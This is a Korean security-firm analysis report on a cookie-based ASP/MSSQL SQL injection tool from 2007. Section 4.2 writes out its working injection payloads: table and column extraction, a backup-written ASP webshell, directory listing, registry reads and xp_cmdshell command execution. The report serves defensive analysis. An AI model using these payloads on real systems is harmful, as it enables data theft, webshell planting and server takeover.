Asp Mssql Sql Injection Tool 분석보고서 이재곤 (x0saver@gmail.com) SK Infosec Co., Inc MSS 사업본부 / 침해대응센터모의해킹파트
Table of Contents 1. 개요... 3 2. 구성... 3 3. 분석... 4 3.1. 기능분석... 4 4. 공격원리...14 4.1 기본공격원리...14 4.2 Attack Query String 분석...15 5. 영향을받는시스템...19 6. 마치며...19 7. Reference...19 2
1. 개요 2008년중국발 injection 공격으로전세계대량의악성코드를유포시킨 Mass SQL Injection 공격이있었다. 이공격은한번의공격으로방대한코드를삽입하여, 다량의 DB 값을변조를시켜많은웹사이트들을피해입혔다. 특히 IDS, IPS, WAF 와같은보안장비를우회하기위해 cookie 변수, % 을사용한점이두드려지는데, cookie 를이용한공격기법연구는 2007년부터진행되어진것같다. 그럼 cookie injection 을이용한공격도구인 ASP MSSQL SQL Injection Tool 에대해알아보도록하자. 2. 구성 ASP MSSQL SQL Injection Tool ( 최초버전 : 2007 년 9 월경 ) 3
3. 분석 3.1. 기능분석 우선, 각메뉴를파악하여, 어떤기능이있는지알아보자. [ 그림 3.1] ASP MSSQL SQL Injection Tool 메인페이지 아래와같이각기능이구성되어있다. Exploitable URL Available Functions Execute Function Exploitable Cookie Referer Url Webshell Absolute Path Webshell code 4
Num Type Char Type Url Cookie Temporary Tables Explode Tables Of Current DataBase Registry Key Explode Fields Of IN Registry Value Explode Values Of Via Anonymous Proxy Directory Path cmd Command Launch Attack Reset Attack Sql Query 사용방법 [ 표 3.1] Tool 기능구조 Cookie Injection 이가능한포인터를찾아 Explode Tables Of Current DataBase 공격을 실행하면아래와같다. ( 이하 : 시각표현상백그라운드컬러는흰색으로수정 ) [ 그림 3.2] Char Type 과 Cookie 선택후 DB 의테이블추출 5
Table 정보를기초로하여, 상세 column 값을조회하면아래와같다. [ 그림 3.3] 추출한 table 을기초로하여, column 값을추출한결과 IIS 서버의확장로깅옵션중 cookie(cs(cookie)) 부분을체크후로그부분을참고하면 아래와같다. [ 그림 3.4] IIS 서버로그 6
ASP MSSQL SQL Injection Tool beta 1 버전에서 3 버전으로버전업이되면서다양한고급 기능들이추가되었다. 세부기능을살펴보고, 어떤기능을하는지알아보자. [ 그림 3.5] 고급명령어 Available Functions 고급명령어 Mssql server INFO Log backup webshell Differencial backup webshell List Directory Read Registry Execute Command Via Xp_cmdshell Execute Sql Query 버전정보, 중요 Stored Procedure 사용여부 Webshell code 를입력으로받아 code 실행 Log backup webshell 과비슷한기능 Directory Path 기반으로 Directory 정보표시 Registry Key 기반으로하여 Register 정보표시 cmd Command 기반으로하여 Xp_cmdshell 수행 Sql Query 기반으로 Query 실행 [ 표 3.2] Available Functions 고급명령어 7
각고급명령어를알아보면아래와같으며, 공격서버에 Temporary Table 을남긴다. [ 그림 3.6] 고급명령어 - Mssql server INFO 서버버전, 사용자권한및확장프로시저사용여부등이확인가능하다. 8
[ 그림 3.7] 고급명령어 - Log backup webshell 실행전 [ 그림 3.8] 고급명령어 - Log backup webshell 실행후 임의의 Webshell code 를입력하여, Webshell code 실행된결과이다. 9
[ 그림 3.9] 고급명령어 - List Directory Directory Path 기반으로 Directory 정보를표시한다. 10
[ 그림 3.10] 고급명령어 - Read Registry Registry 에서 Registry Key, Registry Value 를참조하여, 그결과를표시한다. 11
[ 그림 3.11] 고급명령어 - Execute Command Via Xp_cmdshell Stored Procedure 중 xp_cmdshell 이활성화되어있으면, cmd command 값을참조하여 명령어를실행한후그결과값을표시한다. xp_cmdshell 사용가능여부는고급명령어 Mssql server INFO 에서확인할수있다. 12
[ 그림 3.12] 고급명령어 - Execute Sql Query Sql Query 를기반으로 Query 실행결과를표시한다. 13
4. 공격원리 4.1 기본공격원리 Web Application 의 Parameter 전달방식인 GET/POST 이외 COOKIE 변수처리시 request() 함수를통해각각의변수마다엄격히처리하지않은데취약성이있다. ASP MSSQL SQL Injection TOOL 는이러한점을이용한공격툴이다. 어떠한원리로공 격이되는지살펴보도록하자. ASP MSSQL SQL Injection Tool 메인페이지에서는 cookie 변수를활용한공격방법에대 해서설명을하고있다. [ 그림 3.1 참조 ] 1. cookie 변수를활용한공격방법 1) exploitable cookie 부분을찾아 MIKA 라는키워드를추가 2) 예를들어 exploitable cookie 부분이 myset=template 라고한다면 myweb=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL 3) myset=template 부분에아래와같이 MIKA 키워드를추가 my web=myset=templatemika; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL 2. url 값을활용한공격방법 1) exploitable url 부분을찾아 MIKA 라는키워드를추가 2) 예를들어 exploitable url 부분이 http://www.mika520.net/vul.php?id=1 라고한다면 MIKA 키워드를추가하여 http://www.mika520.net/vul.php?id=1mika 위 1, 2 번의공격방법에따라 ASP MSSQL SQL Injection Tool 에서는 MIKA 라는키워 드를찾아, 변조하고자하는 Query String 으로대체하여, 원하는결과값을획득한다. 14
4.2 Attack Query String 분석 이공격툴은아래와같은 Attack Query String 으로공격되어진다. /* 테이블전체이름추적 */ And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--; /* 특정테이블의 column 추적 */ and (select top 1 nchar(124)+col_name(object_id(0x6d0065006d006200650072005f0069006e0066006f00),1)+nc har(124) from sysobjects)>0--; /* 특정테이블의 column 값추적 */ And (Select Top 1 char(124)+isnull(cast([column_name] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [column_name] From [table_name] Where 1=1 Order by [column_name]) T Order by [column_name] desc)>0--; /* MSSQL Server INFO */ and (select char(124)+@@version +char(92)+system_user+char(92)+user+char(92)+db_name()+char(92)+convert(char(1),is_me MBER (0x640062005F006F0077006E0065007200))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x 730079007300610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x73 0065007200760065007200610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEM EMBER(0x620075006C006B00610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROL EMEMBER(0x73006500740075007000610064006D0069006E00))+char(92)+convert(char(1),IS_S RVROLEMEMBER(0x6400690073006B00610064006D0069006E00))+char(124))>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where 15
xtype=0x5800 and name=0x780070005f0063006d0064007300680065006c006c00)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f007200650067007200650061006400)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f006400690072007400720065006500)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f007300750062006400690072007300)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f00490073004e007400410064006d0069006e00)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x730070005f006f0061006d006500740068006f006400)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x730070005f006f006100630072006500610074006500)>0--; /* Log Backup webshell */ ';alter database db_name() set RECOVERY FULL--; ';drop table [tmp_mika];create table [tmp_mika]([cmd] [image])--; ';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003a005c006d0069006b0061002e00620061006b00 backup log @a to disk = @s with init--; ';insert into [tmp_mika](cmd) values(0x3c2565786563757465287265717565737428226c222929253e)--; ';declare @a sysname,@s nvarchar(4000) select 16
@a=db_name(),@s=0x63003a005c0069006e00650074007000750062005c0077007700770072 006f006f007400 backup log @a to disk=@s with init--; ';alter database db_name() set RECOVERY SIMPLE--; /* Differencial backup webshell */ ';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x6d0069006b0061002e00620061006b00 backup database @a to disk=@s--; ';drop table [tmp_mika];create table [tmp_mika] ([cmd] [image])--; ';insert into tmp_mika(cmd) values(0x3c2565786563757465287265717565737428226c222929253e)--; 'declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003a005c0069006e00650074007000750062005c0077007700770072 006f006f007400 backup database @a to disk=@s WITH DIFFERENTIAL; /* List Directory */ ';drop table [tmp_mika];create table [tmp_mika]([subdir] nvarchar(400) NULL,[depth] tinyint NULL,[file] bit NULL)--; ';DELETE [tmp_mika];insert [tmp_mika] exec master..xp_dirtree 'c:\',1,1--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([subdir] as nvarchar(4000)),char(32))+char(13)+isnull(cast([depth] as nvarchar(4000)),char(32))+char(13)+isnull(cast([file] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [subdir],[depth],[file] From [tmp_mika] Where 1=1 Order by [subdir],[depth],[file]) T Order by [subdir] desc,[depth] desc,[file] desc)>0--; 17
/* Read Registry */ 'DROP TABLE [tmp_mika];create TABLE [tmp_mika]([value] nvarchar(4000) NULL,[Data] nvarchar(4000) NULL)--; ';DELETE [tmp_mika];insert [tmp_mika] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([value] as nvarchar(4000)),char(32))+char(13)+isnull(cast([data] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [Value],[Data] From [tmp_mika] Where 1=1 Order by [Value],[Data]) T Order by [Value] desc,[data] desc)>0--; /* Execute Command Via Xp_cmdshell */ ';drop table [tmp_mika];create table [tmp_mika]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL)--; ';declare @a sysname select @a=0x6900700063006f006e00660069006700 insert into [tmp_mika](resulttxt) exec master.dbo.xp_cmdshell @a--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([resulttxt] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [ResultTxt] From [tmp_mika] Where 1=1 Order by [ResultTxt]) T Order by [ResultTxt] desc)>0--; 18
5. 영향을받는시스템 - SQL injection 취약점이존재하는웹서버 6. 마치며 SQL Injection 자동화공격은매우오래전부터공격이되고있으며, 이러한공격툴은다양한버전들이공개되어있다. 이공격툴역시 2007년도에공개된것이며, cookie, declear 구문 을사용한점이주요특징이라고할수있겠다. 이러한점으로보아, MASS SQL Injection 공격이일어나기전부터, 관련연구가있었던것으로보인다. SQL Injection 공격에대비하기위해서는취약점을가지고있는 SQL Injection 포인트를 찾아, 보안을고려한안전한코딩이우선시되어야할것이다. 7. Reference - http://www.cnblogs.com/ - http://www.05112.com 19